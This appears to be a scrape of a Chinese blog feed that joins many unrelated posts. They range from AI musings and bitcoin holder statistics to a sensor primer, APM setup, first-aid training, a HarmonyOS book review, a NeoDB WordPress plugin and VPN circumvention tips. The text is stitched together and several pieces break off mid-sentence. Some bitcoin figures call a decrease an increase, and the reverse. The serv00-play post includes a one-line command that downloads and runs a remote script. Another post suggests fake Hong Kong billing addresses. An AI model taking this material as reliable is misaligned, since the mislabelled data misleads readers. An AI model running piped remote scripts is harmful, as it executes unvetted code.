得,又扯远了图片。我想说的,AI不是当下几个大模型,回答的花里胡哨的样子。真正的AI革命,将是一次认知范式的跃迁,它会重新定义我们对知识、智慧,甚至是生命本身的理解。
哲学家维特根斯坦所说:“语言的界限,就是世界的界限。” 而AI正在突破这种界限,它不仅让我们重新审视语言的边界,也让我们开始质疑思维的本质。AI的崛起,是对人类认知边界的一次挑战和延展。
未来,AI不仅会重新塑造医疗、教育、金融和交通等领域,还将深刻影响我们的哲学、伦理观念,甚至我们的自我认知。回到睡眠这个话题——为什么我们必须重视健康?因为AI越强大,我们就越需要强健的身体和清晰的头脑,去理解、驾驭并与之合作。
“想象力比知识更重要。” AI或许有数据和算法,但真正赋予它灵魂的是人的想象力和创造力。而保持这些能力的基础,是睡眠,是健康,是持续不断的学习与探索。
结尾在说两句比特币。
财富是结果,更是动力。财富从来不是目的,而是过程中的副产品。我们追求财富,是为了获得自由,是为了抵御风险,也是为了延展生命的边界。
我们需要健康的身体去支撑技术的发展,也需要技术去创造财富,最终再用财富去为健康兜底,这三者形成了一条循环上升的螺旋。而比特币和AI,分别是这条螺旋上最新的技术节点和财富节点,它们既是工具,也是符号,指向未来的某种可能。
这三者共同描绘了一幅未来的画卷——一个技术主导、财富重塑、认知进化的新时代。
但请记住,每一场革命,都是以人开始,以人结束的。无论AI多么强大,无论比特币多么稀缺,最终它们都服务于人。而你,作为人类的一份子,必须先照顾好自己的身体,才能真正掌握未来的钥匙。
所以,好好睡觉,保持清醒。技术和财富会变,但健康是你唯一不可替代的本钱。就像投资比特币一样,要长远规划,短期波动只是过程,而真正的财富,属于那些拥有耐心和眼光的人。
今天的你也许会感谢五年前囤币的自己,而未来十年后的你,一定会感谢今天好好睡觉的自己。
请,好好活着!
比特币问答社区:https://wd.btchao.com
比特币网站导航:https://dh.btchao.com
推荐阅读:
再次提醒,在中国大陆境内目前提供交易比特币是违法行为(持有比特币合法),切勿盲目相信任何人,包括我。
在2023年12月31日,比特币价格是42173美元。1年后的今天,2024年12月30日,比特币价格是93304美元,2024年涨幅达到了121%。再按照比特币分布地址统计情况,我们来整理分析一下。
按照比特币地址数量变化情况可以看出:
一、小额持有地址(0 - 0.0001 BTC)
地址数量
2023 年 12 月 31 日有 399307 个地址。
2024 年 12 月 30 日增加到 620584 个地址。
变化:增加了 221277 个地址,增长率为 (620584 - 399307) / 399307 ≈ 55.41%。
比特币持有量
2023 年持有 21.04 BTC。
2024 年持有 35.61 BTC。
变化:增加了 14.57 BTC,增长率为 (35.61 - 21.04) / 21.04 ≈ 69.25%。
ai分析
小额持有地址数量和比特币持有量都有显著增长。这可能表明有更多新用户进入比特币市场,开始少量持有比特币,或者是现有小额持有者在逐步增加他们的持有量。
二、较小额持有地址(0.0001 - 0.01 BTC)
地址数量
2023 年有 10068769 个地址。
2024 年增加到 11330901 个地址。
变化:增加了 1262132 个地址,增长率为 (11330901 - 10068769) / 10068769 ≈ 12.54%。
比特币持有量
2023 年持有 434.05 BTC。
2024 年持有 476.82 BTC。
变化:增加了 42.77 BTC,增长率为 (476.82 - 434.05) / 434.05 ≈ 9.85%。
ai分析
地址数量和比特币持有量都有一定增长,但增长率低于小额持有地址。这可能意味着这一区间的用户也在缓慢增加他们的比特币持有量,但增长速度较为平稳。
三、中等额持有地址(0.01 - 0.1 BTC)
地址数量
2023 年有 12342460 个地址。
2024 年减少到 11566427 个地址。
变化:减少了 776033 个地址,减少率为 776033 / 12342460 ≈ 6.29%。
比特币持有量
2023 年持有 4495 BTC。
2024 年持有 4238 BTC。
变化:减少了 257 BTC,减少率为 257 / 4495 ≈ 5.72%。
ai分析
地址数量和比特币持有量都有所减少。这可能表明部分中等额持有者在出售他们的比特币,或者是这些持有者的比特币数量减少到了更小的区间。
四、较中等额持有地址(0.1 - 1 BTC)
地址数量
2023 年有 3560615 个地址。
2024 年减少到 3472483 个地址。
变化:减少了 88132 个地址,减少率为 88132 / 3560615 ≈ 2.47%。
比特币持有量
2023 年持有 1100472 BTC。
2024 年持有 1072300 BTC。
变化:减少了 28172 BTC,减少率为 28172 / 1100472 ≈ 2.56%。
ai分析
地址数量和比特币持有量都略有减少。可能是部分较中等额持有者在减少他们的比特币持有量。
五、中大额持有地址(1 - 10 BTC)
地址数量
2023 年有 868707 个地址。
2024 年减少到 840533 个地址。
变化:减少了 28174 个地址,减少率为 28174 / 868707 ≈ 3.24%。
比特币持有量
2023 年持有 2158092 BTC。
2024 年持有 2088455 BTC。
变化:减少了 69637 BTC,减少率为 69637 / 2158092 ≈ 3.23%。
ai分析
地址数量和比特币持有量都有一定程度的减少。这可能表明部分中大额持有者在出售他们的比特币。
六、大额持有地址(10 - 100 BTC)
地址数量
2023 年有 139363 个地址。
2024 年增加到 134359 个地址。
变化:减少了 5004 个地址,减少率为 5004 / 139363 ≈ 3.59%。
比特币持有量
2023 年持有 4427854 BTC。
2024 年持有 4304039 BTC。
变化:减少了 123815 BTC,减少率为 123815 / 4427854 ≈ 2.79%。
ai分析
地址数量和比特币持有量都略有减少。这可能意味着部分大额持有者在减少他们的比特币持有量。
七、很大额持有地址(100 - 1000 BTC)
地址数量
2023 年有 13904 个地址。
2024 年减少到 15670 个地址。
变化:增加了 1766 个地址,增长率为 1766 / 13904 ≈ 12.70%。
比特币持有量
2023 年持有 4462590 BTC。
2024 年持有 4462950 BTC。
变化:增加了 360 BTC,增长率为 360 / 4462590 ≈ 0.08%。
分析
地址数量有一定增长,但比特币持有量增长极少。这可能表明新加入了一些很大额持有者,但他们的平均持有量较低。
八、极大额持有地址(1000 - 100000 BTC)
地址数量
2023 年有 102 个地址。
2024 年增加到 1958 个地址。
变化:增加了 1856 个地址,增长率为 1856 / 102 ≈ 1819.61%。
比特币持有量
2023 年持有 2275071 BTC。
2024 年持有 4592140 BTC。
变化:增加了 2317069 BTC,增长率为 2317069 / 2275071 ≈ 1018.46%。
ai分析
地址数量和比特币持有量都有巨大增长。这可能表明有新的极大额持有者进入市场,或者是现有极大额持有者在大量囤积比特币。
目前按照最新的比特币地址以及持仓分布情况来分析,可以得出如下结果:
持有 0.0001 BTC 超过约 11.03% 的人群。
持有 0.001 BTC 超过约 31.15% 的人群。
持有 0.01 BTC 超过约 54.37% 的人群。
持有 0.1 BTC 超过约 74.92% 的人群。
持有 1 BTC 超过约 88.72% 的人群。
持有 10 BTC 超过约 95.07% 的人群。
持有 100 BTC 超过约 96.81% 的人群。
以上为事实,以下为个人偏激的煽情表演图片
“那些没有杀死我的,将使我更强大。”——尼采
在市场波动与质疑声中,比特币再次证明了自己的韧性与价值,吸引了无数新旧力量的汇聚。2024年,不仅是价格腾飞的一年,更是比特币发展史上里程碑式的一年,10万美元只是一个新的开始。
2024年1月,比特币现货ETF正式获批,传统资本与机构资金蜂拥而入,彻底打破了市场边界,让比特币成为全球资本市场的“正规军”。这一事件,不仅推动了价格飙升,更向世界宣告,比特币已从边缘资产蜕变为主流金融体系的重要一环。
2024年7月,美国政府多次公开讨论将比特币纳入国家战略储备的可能性。尽管争议不断,但市场的反应却异常狂热——全球信心空前高涨,资金流入加速。比特币从“数字黄金”的称号,开始向“未来央行储备资产”的角色迈进。
与此同时,全球监管框架逐步完善,稳定币政策趋于明朗,为比特币生态系统提供了更广阔的发展空间。主权基金、上市公司以及对冲基金纷纷加码,链上数据显示,极大额地址数量增长高达1819.61%,持仓量增长超过1018%。
2024年12月,比特币达到10万美元。
而这一切的背后,是越来越多的人意识到——“财富并非掌控在银行账簿上,而是存在于不可篡改的代码里。”
小额地址的激增,意味着更多普通人迈出了第一步,参与到这场划时代的金融革命中;而极大额地址的爆炸式增长,彰显着资本市场对比特币未来的高度认可。这不仅仅是一场关于金钱的竞赛,更是一场信仰与远见的博弈。
“站在时间的长河里,你终将发现,最珍贵的不是手中的筹码,而是敢于下注的勇气。”(此段过于煽情,请控制一下)
2024年,我们见证了比特币在时代洪流中的沉浮与升腾。2025年,比特币是否会继续书写传奇?没有人知道。但正如航海家不会因狂风而停泊,梦想家也不会因未知而止步。
让恐惧退场,让信仰登场。比特币的下一站,星辰大海。我们,终将在更高山相见!
推荐阅读:
之前学习博通的时候,一直是在Windows克隆的代码,然后复制到共享文件夹中进行操作,修改文件后,在linux下进行编译,进而出现了编译脚本找不到部分文本文件的情况。
实际上这和Linux是LR换行而Windows是CRLR换行有关系,在Windows上Git的时候,会导致原本LR换行的文件被自动转换为CRLR,而Linux原生支持LR且不兼容CRLR,于是编译器不停报错,先是提示换行符,后压根没有错误信息,误导性比较强。
一劳永逸的方法是,在全程在Linux操作,在Linux克隆,在Linux编译,最后需要烧录了,再把bin拷贝出来,在Windows进行烧录操作。
但是在Linux下无论是直接用vim还是Vscode
最近在写比赛的文档的时候,写到了BH1750的参数之类的,于是想着想都想了,不如写下来玩玩。
emmmm,这边用的是STM32F103C8T6的芯片的标准库,其他MCU也大同小异,如果是用hal库就更好了,无需管GPIO口初始化那堆零碎的事情了。
而BH1750是一款数字型的光强传感器片上集成芯片,采用标准I2C总线协议与MCU进行链接。
GY-30模块的实质是BH1750,只是把外围诸如滤波和电容之类的电路整合进去了而已,其实都是用的BH1750芯片。
BH1750内部电路是由:光敏二极管、运算放大器、AD转换器等组成。光敏二极管通过光伏效应接收光信号产生电信号,经过运算放大后,由AD转换器采集电压数据并转换为数字信号,然后储存在寄存器之中。BH1750支持完全的I2C协议,使用I2C总线发送特定的控制位,即可读取光强度数据,亦可以修改BH1750的采集模式。
1.使用浏览器访问 https://appleid.apple.com, 点击右上角创建您的 Apple ID
链接,打开注册页面
2.填写姓名、出生日期、邮箱、密码等信息,国家或地区选择香港
, 填写待验证的手机号码,如无香港手机号码,可以选择并填写中国大陆手机号码。
3.根据图片提示,填入验证码,然后点击下方继续
按钮进入下一步。
4.查看电子邮箱获得邮箱验证码,并填入文本框中,点击继续
。
5.填入手机验证码到文本框中,点击继续
。
6.验证成功。
1.手机打开AppStore,使用新注册的AppleId登陆
2.输入手机验证码验证
3.在弹出来的弹框中,选择检查
4.在下一个页面中,打开同意条款与条件
选项开关
5.注意在该页面中,如果没有付款的需求,千万不要选择付款方式,否则会无法消除选项,需要退出再登录才能消除。
付款人姓名保持原样,然后在下方填入香港账单地址和电话(街道地址和电话可在https://www.meiguodizhi.com/hk-address生成)。
填完后点击右上角的下一页
。
6.注册完成。
uv
工具的一些实用的技巧,包括在不污染虚拟环境的情况下临时添加依赖、创建几乎独立的脚本、快速测试和运行 Python 工具、运行一次性的 Python 工具、清理 uv 缓存。__pycache__
文件夹和.pyc
文件有什么作用?如何合理利用 Python 的字节码缓存机制,来提升应用性能?应用性能监控(Application Performance Monitor,简称APM),提供应用性能监控管理、微服务监控、K8S监控等服务,透视性能瓶颈,追踪问题根源,提升用户体验。本文介绍了常见的APM产品、选型原因及应用接入方式。
目前市面上常用的开源APM产品主要是SkyWalking和Prometheus。
SkyWalking是一个开源的应用性能监控(APM)系统,尤其针对分布式系统的微服务架构。
功能特点:
技术架构:
使用场景:
Prometheus是一个开源的监控系统和时间序列数据库,以下是对Prometheus的详细评价:
功能特点:
技术架构:
使用场景:
综上,SkyWalking比较符合咱们产品的应用场景。
SkyWalking平台管理界面地址为:http://192.168.1.86:19000/
应用接入SkyWalking平台的方式分为Java项目接入和Node.js项目接入。接入完成之后,可以在上述管理界面进行查看应用信息。
下载 Apache SkyWalking的Java Agent:https://dlcdn.apache.org/skywalking/java-agent/9.3.0/apache-skywalking-java-agent-9.3.0.tgz
把压缩包 apache-skywalking-java-agent-9.3.0.tgz 拷贝到项目的指定目录比如 /files
。
修改一下项目的 Dockerfile 文件, 把项目中的SkyWalking Agent压缩包解压并拷贝到容器中的指定目录,比如/usr/local
:
# 把项目中的SkyWalking Agent解压拷贝至容器中的指定目录中
COPY files/apache-skywalking-java-agent-9.3.0.tar /usr/local
RUN tar -xvf /usr/local/apache-skywalking-java-agent-9.3.0.tar -C /usr/local
启动参数里面加Java Agent的设置:
-javaagent:skywalking-agent/skywalking-agent.jar -Dskywalking.agent.service_name=planner-workbench-server -Dskywalking.collector.backend_service=192.168.1.86:11800
其中:
上述配置,也可用通过容器的环境变量来修改
安装SkyWalking NodeJS包:
$ npm install --save skywalking-backend-js
设置NodeJS Agent
import agent from 'skywalking-backend-js';
agent.start();
配置应用的名称和SkyWalking平台地址:
agent.start({
serviceName: 'integration-ui',
collectorAddress: '192.168.1.86:11800',
});
以上仅为参考范例,具体的配置值应设置为环境变量。
目前国内急救培训主要有两类:
想着既然感兴趣,就学最完整的版本。另外,马上要出国工作 2 年,对国际范围覆盖有需求,就报名了适用范围更广的 AHA 课程。
起初,我还陷入过一个误区,以为获取 AHA 或红十字会证书之后,才能获得「好人法」的救助豁免权。但实际上根据 2021 年 1 月 1 日起实施的中华人民共和国民法典第 184 条,因自愿实施紧急救助行为造成受助人损害的,救助人不承担民事责任。
即原则上自愿的,无任何酬劳的急救都是免责的。
所以学习和考证,是为了做更充足的准备,以便在需要的时刻保护自己,帮助他人。
给自己多一份勇气。
我学习的是针对大众的 AHA HeartSaver First Aid CPR AED 课程,一天可以学完,有三场实践考核和一场笔试。心肺复苏(CPR)和自动体外除颤器(AED)是培训的重点,还包括很多生活中常见的急救知识。
知识量很大,以视频课程、教师讲解和现场实践为主,上了一天课头晕晕的,仿佛回到了高中。
同场次有 6 名学员,其中 2 位马拉松爱好者,2 位健身爱好者,一位很精神的初中生,和我。其中有一位练的相当出色的女健身老师,AHA 证书可以抵一些他们从业的学分,也能增加自身的专业程度。
比较有收获的是实践部分,有假人、AED 培训设备等,挺还原事发现场。
小缺点是课程设计虽然经典,且能让所有人获得足够的信息,但确实陈旧了一些,大部分时间在看录像带,体验欠佳。国外 AHA 课程允许学员先在家中通过网络课程学习视频内容,随后前往 AHA 培训中心进行实践测试,最终获得认证。这样更方便安排时间,人性化很多!
目前国内寻找附近AED的方法主要有以下几种:
国外的我则找到了这一款软件 Life Saver,等以后试试看!
对了,今年刚好是美国心脏协会成立 100 周年。
祝大家身体健康!
彩虹聚合DNS管理系统 V2.0 版本已更新,该版本新增SSL证书申请与自动部署功能,支持从Let's Encrypt等渠道申请SSL证书,并自动部署到各种面板、云服务商、服务器等,支持CNAME代理功能。
支持的SSL证书申请方式:
Let's Encrypt、ZeroSSL、Google SSL、自定义ACME、腾讯云免费SSL、阿里云免费SSL、UCloud免费SSL
支持的SSL证书部署方式:
宝塔面板、1Panel、Kangle、雷池WAF、Cdnfly、LeCDN、GoEdge(FlexCDN)、
阿里云(CDN、ESA、SLB、OSS、WAF、FC等)、腾讯云(CDN、EO、CLB、COS、TKE、SCF等)、华为云(CDN、ELB、WAF)、UCloud CDN、七牛云(CDN、OSS)、多吉云CDN、百度云CDN、火山引擎CDN、白山云、AllWAF、AWS(CloudFront)、Gcore、Cachefly
SSH服务器(同时支持Linux/Windows)、IIS、FTP服务器、复制到本机
除此之外,2.0版本还新增了登录TOTP二次验证功能。
简介图片
新增SSL申请账户
SSL证书订单管理
新增SSL证书部署账户
自动部署任务管理
CNAME代理记录管理
下载地址:
https://github.com/netcccyun/dnsmgr/releases
使用说明:
1、按照以下步骤使用:①添加计划任务 ②添加SSL证书账户 ③添加SSL证书订单 ④添加自动部署账户 ⑤添加自动部署任务
2、SSL证书申请可以控制台手动执行,也可以等待计划任务自动执行,推荐使用计划任务,控制台执行可能会超时。
3、国内服务器如需申请Google SSL,需要先配置代理
《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》已于近日上市,该书由北京大学出版社出版。距离第1版上市已经过去二年半多。本文希望与读者朋友们分享下这本书里面的大致内容。
首先是介绍封面部分。
《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》封面部分延续了第一版全黑设计,富有科技感和神秘感。
中部是个类似于黑洞或者瞳孔图样,寓意着活力或者张力吧。
上书蓝色“鸿蒙HarmonyOS”两字,这个配色还是具有非常高的辨识度的。下面的英文“HarmonyOS”中的“r”处理的看着夸张,实际上是为了把下面中文给框住,呈现出主次分明的设计感。
可以看到,底部是出版社“北京大学出版社”字样。
整体来说,这个封面相对高级,设计走的一贯的黑色风格。蓝、黑、白三色搭配还是比好看。
介绍封底部分。
封底部分可以看到是两位重量级华为大咖背书,而且都是鸿蒙团队核心人员。
这本书归类为计算机/HarmonyOS。
全书589页,比较厚,内容比较全面,定价为129元,也算良心了。极具性价比。
华为自主研发的HarmonyOS(鸿蒙系统)是一款面向未来、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统。本书采用HarmonyOS最新版本作为基石,详细介绍如何基于HarmonyOS进行应用的开发,包括HarmonyOS架构、DevEco Studio、应用结构、Ability、安全管理、公共事件、通知、Java UI、ArkTS、ArkUI、Stage模型、设备管理、数据管理、线程管理、视频、图像、网络管理等多个主题。本书辅以大量的实战案例,图文并茂,使读者易于理解和掌握。同时,本书的案例选型偏重于解决实际问题,具有很强的前瞻性、应用性和趣味性。加入HarmonyOS生态,让我们一起构建万物互联的新时代!
本书主要面向的是对HarmonyOS应用开发感兴趣的学生、开发人员、架构师。
中国信息产业一直是“缺芯少魂”,其中的“芯”指的是芯片,而“魂”则是指操作系统。而自2019年5月15日起,美国陆续把包括华为在内中国高科技企业列入其所谓的“实体清单”(Entities List),标志着科技再次成为中美博弈的核心领域。
随着谷歌暂停与华为的部分合作,包括软件和技术服务的转让。华为在国外市场已经面临着升级Android版本、搭载谷歌服务等方面遇到困境。在这样的背景下,华为顺势推出HarmonyOS,以求在操作系统领域不被受制于人。
HarmonyOS是一款“面向未来”、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的全新的分布式操作系统。作为操作系统领域的新成员,HarmonyOS势必会面临着bug多、学习资源缺乏等众多困难。为此,笔者在开源社区,以开源方式推出了免费系列学习教程《跟老卫学HarmonyOS开发》(https://github.com/waylau/harmonyos-tutorial),以帮助HarmonyOS爱好者入门。同时,为了让更多的人了解并使用HarmonyOS,笔者将自身工作、学习中遇到的问题、难题进行了总结,形成了本书,以补市场空白。
距离《鸿蒙HarmonyOS应用开发从入门到精通》2022年4月第1版已逾两载。热心的读者对于本书也投以了极大的关注,伴随着本书的成长,提了很多中肯的建议。对于这些意见,不管褒贬,一并全收,于是才有了第2版的可能。
对于技术型的书籍创作,笔者更加倾向于采用当今软件开发主流的方式——敏捷。敏捷写作打通了编写、校稿、出版、发行的整个流程,让知识可以第一时间呈现给读者。读者在阅读本书之后,也可以及时对书中的内容进行反馈,从而帮助作者完善书中内容,最终形成了良好的反馈闭环。所以,第2版所更新的内容,应该正是读者所期待的。
由于近些年HarmonyOS版本迭代较快,发展迅猛,特别是HarmonyOS 3版本引入了ArkTS语言,产生了新的编程模式。因此,本书第2版修改篇幅较大,各章节都做了大幅度更新。完整的修改内容,可以参阅本书后面部分“附录B:本书1版与2版的差异对比”章节内容。
全书大致分为了3部分:
本书主要面向的是对HarmonyOS应用开发感兴趣的学生、开发人员、架构师。
本书几乎囊括了HarmonyOS所涉及的知识点包括HarmonyOS架构、DevEco Studio、应用结构、Ability、安全管理、公共事件、通知、ArkTS、ArkUI、Stage模型、设备管理、数据管理、线程管理、视频、图像、网络管理等多个主题。方面的内容,并提供了针对各类场景下的综合实战案例,包括智能穿戴、智慧屏、手机等应用。技术前瞻,案例丰富。不管是编程初学者,还是编程高手,都能从本书中获益。本书可作为读者案头的工具书,随手翻阅。
基于最新HarmonyOS技术展开,手把手传授从入门到精通的诀窍!
在线提供的源代码紧跟版本迭代,目前已经更新到HarmonyOS NEXT(HarmonyOS 5)版本。不用担心知识点过时哦。
本书提供了丰富的基于HarmonyOS技术点的实例68个,将理论讲解最终落实到代码实现上来。在掌握了基础之后,另外提供了4个综合性实战案例。这些案例从零开始,最终实现了一个完整的企业级应用,内容具有很高的应用价值和参考性。
本书提供了书中涉及的所有实例的源文件。读者可以一边阅读本书,一边参照源文件动手练习,这样不仅提高了学习的效率,而且可以对书中的内容有更加直观的认识,从而逐渐培养自己的编程能力。
本书提供的素材和源代码可从以下网址下载: https://github.com/waylau/harmonyos-tutorial
本书如有勘误,会在以下网址发布: https://github.com/waylau/harmonyos-tutorial/issues
将 NeoDB 书影音记录整合到 WordPress 中 实现了将 NeoDB 观影记录添加到 WordPress 页面中,展示页面:NeoDB 书影音。
但流程较为复杂,本文将 Cloudflare worker 和 functions.php 整合成了 WordPress 插件,进一步简化流程。
本人无相关代码经验,插件由 ChatGPT 协助生成,时代真的变了。
在 NeoDB API Developer Console 中点击Test Access Token
,并 Generate 一个 NeoDB Bearer Token,示例:Th2121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg
。
在终端(Terminal)或命令提示符(Command Prompt)中输入以下代码,将 YOUR_TOKEN 替换为 NeoDB Bearer Token。
curl -H "Authorization: Bearer YOUR_TOKEN" https://neodb.social/api/me
下载 NeoDB Integration 插件: https://github.com/DayuGuo/NeoDB-wordpress-Integration/releases/tag/gotest
在 WordPress 中安装并激活该插件。
在 Settings-NeoDB Settings 中输入 NeoDB Bearer Token。
在 WordPress 页面或文章中,使用以下短代码来显示数据:{neodb_page},使用时请将{}符号,换成[]。
Settings-NeoDB Settings 中可调整显示的内容、手动更新和清理数据库。
https://anotherdayu.com/neodb/
另,附上我的 NeoDB主页:https://neodb.social/users/anotherdayu/,和 mastodon 账号:https://mastodon.social/@anotherdayu
朋友们,已将该功能整合成一个WordPress插件,可直接看这篇 WordPress 插件-NeoDB Integration 书影音展示页面,更简单易用。
这两篇文章合在一起,是我第一次使用 ChatGPT 协助制作 WordPress 插件的心路历程。
NeoDB 是一个开源免费的书影音收藏社区平台,详情见:NeoDB | 书影音标记 – 豆瓣、GoodReads 和 Google Book 的替代品。
本文参考 hcplantern 的 将 NeoDB 记录整合到 Hugo 中 ,实现了将 NeoDB 观影记录添加到 WordPress 页面中,展示页面:NeoDB 书影音。
在 NeoDB API Developer Console 中点击Test Access Token
,并 Generate 一个 NeoDB Bearer Token,示例:Th2121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg
。
在终端(Terminal)或命令提示符(Command Prompt)中输入以下代码,将 YOUR_TOKEN 替换为 NeoDB Bearer Token。
curl -H "Authorization: Bearer YOUR_TOKEN" https://neodb.social/api/me
注册 Cloudflare worker,点击 Create,创建一个 worker。
最初会展示一个 Hello World 基础案例,点击 Continue to project – Settings – Variables and Secrets。
添加一个环境变量(Environment Variables):
H13121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg
点击右上角的 Edit code,删除 worker.js 中全部代码,并将 hcplantern 提供的代码(如下)复制黏贴进去。
const myBearer = NEODB_TOKEN; // Assuming 'NEODB_TOKEN' is set in your Cloudflare Worker's environment variables
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
console.log(myBearer)
const url = new URL(request.url);
const category = url.pathname.substring(1);
// Optionally, handle query parameters (e.g., page number)
const page = url.searchParams.get('page') || '1';
// Available values : wishlist, progress, complete
const type = url.searchParams.get('type') || 'complete';
let dbApiUrl = `https://neodb.social/api/me/shelf/${type}?category=${category}&page=${page}`;
const response = await fetch(dbApiUrl, {
method: 'get',
headers: {
'Accept': 'application/json',
'Authorization': `Bearer ${myBearer}`
}
});
// Check if the response from the API is OK (status code 200-299)
if (!response.ok) {
throw new Error(`API returned status ${response.status}`);
}
// Optionally, modify or just forward the API's response
const data = await response.json();
return new Response(JSON.stringify(data), {
headers: { 'Content-Type': 'application/json' },
status: response.status
});
} catch (error) {
// Handle any errors that occurred during the fetch
return new Response(error.message, { status: 500 });
}
}const myBearer = NEODB_TOKEN; // Assuming 'NEODB_TOKEN' is set in your Cloudflare Worker's environment variables
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
console.log(myBearer)
const url = new URL(request.url);
const category = url.pathname.substring(1);
// Optionally, handle query parameters (e.g., page number)
const page = url.searchParams.get('page') || '1';
// Available values : wishlist, progress, complete
const type = url.searchParams.get('type') || 'complete';
let dbApiUrl = `https://neodb.social/api/me/shelf/${type}?category=${category}&page=${page}`;
const response = await fetch(dbApiUrl, {
method: 'get',
headers: {
'Accept': 'application/json',
'Authorization': `Bearer ${myBearer}`
}
});
// Check if the response from the API is OK (status code 200-299)
if (!response.ok) {
throw new Error(`API returned status ${response.status}`);
}
// Optionally, modify or just forward the API's response
const data = await response.json();
return new Response(JSON.stringify(data), {
headers: { 'Content-Type': 'application/json' },
status: response.status
});
} catch (error) {
// Handle any errors that occurred during the fetch
return new Response(error.message, { status: 500 });
}
}
然后点击 Deploy 部署即可。
注意在这一步中,需要复制保留左侧 Preview 下方的网址,示例 https://xyz-hall-ohxu.user.workers.dev/ 。
在 WordPress 管理后台,导航到“外观” -> “主题编辑器”。
找到并编辑当前主题的 functions.php
文件。
将以下代码添加到 functions.php
文件中。这段代码创建了一个名为 neodb
的短代码。
注意:将代码中的 https://your-worker-url/
替换为 Cloudflare worker 中的 https://xyz-hall-ohxu.user.workers.dev/
。
function neodb_shortcode($atts) {
$atts = shortcode_atts(
array(
'category' => 'book',
'type' => 'complete',
),
$atts,
'neodb'
);
$category = $atts['category'];
$type = $atts['type'];
$url = sprintf('https://your-worker-url/%s?type=%s', $category, $type);
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return '数据获取失败';
}
$body = wp_remote_retrieve_body($response);
$data = json_decode($body, true);
if (empty($data['data'])) {
return '没有找到相关数据';
}
ob_start();
?>
<div class="item-gallery">
<?php foreach (array_slice($data['data'], 0, 10) as $value): ?>
<?php $item = $value['item']; ?>
<div class="item-card">
<a class="item-card-upper" href="<?php echo esc_url($item['id']); ?>" target="_blank" rel="noreferrer">
<img class="item-cover" src="<?php echo esc_url($item['cover_image_url']); ?>" alt="<?php echo esc_attr($item['display_title']); ?>">
</a>
<div class="rate">
<?php if (!empty($item['rating'])): ?>
<span><b><?php echo esc_html($item['rating']); ?></b></span>
<br>
<span class="rating-count"><?php echo esc_html($item['rating_count']); ?>人评分</span>
<?php else: ?>
<span>暂无</span>
<br>
<span class="rating-count"><?php echo esc_html($item['rating_count']); ?>人评分</span>
<?php endif; ?>
</div>
<h3 class="item-title"><?php echo esc_html($item['display_title']); ?></h3>
</div>
<?php endforeach; ?>
</div>
<style>
.item-gallery {
display: flex;
padding: 0 1rem;
overflow-x: scroll;
align-items: baseline;
}
.item-card {
display: flex;
flex-direction: column;
flex: 0 0 17%;
margin: 0 0.5rem 1rem;
border-radius: 5px;
transition: transform 0.2s;
width: 8rem;
}
.item-card:hover {
transform: translateY(-5px);
}
.rate {
text-align: center;
}
.rating-count {
font-size: 0.8rem;
color: grey;
}
.item-cover {
width: 100%;
min-height: 3rem;
border: 2px solid transparent;
}
.item-title {
font-size: 1rem;
text-align: center;
margin: 0;
}
</style>
<?php
return ob_get_clean();
}
add_shortcode('neodb', 'neodb_shortcode');
在 WordPress 页面或文章中,使用以下短代码来显示数据:
book 可以替换为 movie, tv, podcast, music, game, performance,展示更多数据。
type 可选 wishlist 和 complete,展示想看和看过的内容。
效果示例:https://anotherdayu.com/neodb/
另,附上我的 NeoDB主页:https://neodb.social/users/anotherdayu/,和 mastodon 账号:https://mastodon.social/@anotherdayu
本项目基于frankiejun大神的serv00-play的多合一脚本,原代码不支持安装v1,12月5日下午大神关闭了脚本的探针更新功能,正好又恰逢晚上探针更新1.0.5,所以就fork了一个大神的脚本并修改支持nezha-agent v1使用,如有不妥,请告知我删帖
bash <(curl -Ls https://raw.githubusercontent.com/Lyonnado/serv00-play/refs/heads/main/start.sh)
友情提醒:不建议在国内网络环境下讨论。
所谓翻墙就是绕过中国的国内长城防火墙,自由访问中国地区外的网络。中国防火墙如同一个巨大的放大镜,会查看每一条需要连接到国外的访问请求。如果不是在“黑名单”里的网站,那么可以访问,如果在“黑名单”里,则拒绝放行请求,告诉你无法访问。
翻墙就是通过一种特殊的方式,假装是访问正常国外某网站骗过防火墙,实际上是访问“黑名单”里的网站。
当然,也有一些网站直接屏蔽中国IP,不允许中国的用户访问登录。所以,要么你有一张美国绿卡,要么你有一个美国IP,哈哈哈哈。
那想实现翻墙,就需要通过翻墙软件来实现,这个是绝大多数人的需求。专业术语叫:梯子。其实这个吧,如果在国内找,骗子还挺多的,最好是问身边靠谱的朋友,从他们那边找一个。并且钱最好也是按月缴,大多数提供翻墙服务的平台存活周期并不长久。
同时,注册的时候,尽量使用非自己相关的信息,包括单独注册一个邮箱,随时可以不用的那种。当然这些都是细节,请多多注意。至于网站,我就不提供了,因为我没有使用任何梯子。
如果你动手能力强,倒是可以自己搭建一个,这个网上也有不少教程。不过很可惜,都在youtube上面,也即是说,你想学会自己搭建翻墙软件,首先得先翻出来能看youtube。为了能长久的使用,稳定的固定自己的IP,可以试试甲骨文提供的免费服务器,1G内存2cpu,500M带宽。基本上能满足日常使用以及看视频的需求。但是这个搭建过程,对普通人而言,有点难度。
当然,还可以试试在cloudflare上面的服务器,“白嫖”一个翻墙服务。这个我不推荐,但是可以考虑弄一个当做备用,狡兔三窟,你懂吧。
最后,我相信,很多话点到为止就够了,能不能找到,就看自己对这件事情的渴望程度。想想当年为了看黄色网站,不也是没人教,自己就摸索出来了吗?
推荐阅读:
前几天用了很久的OPPO Enco Air2寄了,于是在当地的小米之家,原价入了Redmi Buds 4 Pro,用了几天发现可以通过刷入国际版固件开启LDAC,于是记录一下。
2024年12月11日:可喜可贺的事,Redmi Buds 4 Pro不见了(
本文转载自互联网,版权协议不明,侵权请联系!
我观察过很多 “争论” 的场景,也经常被卷入争论的漩涡。发现这个现象有其 “规律性”:中国式争论,其实都不是真正的争论,多数都是因为话语的对等,陷入抬杠的尴尬境地。
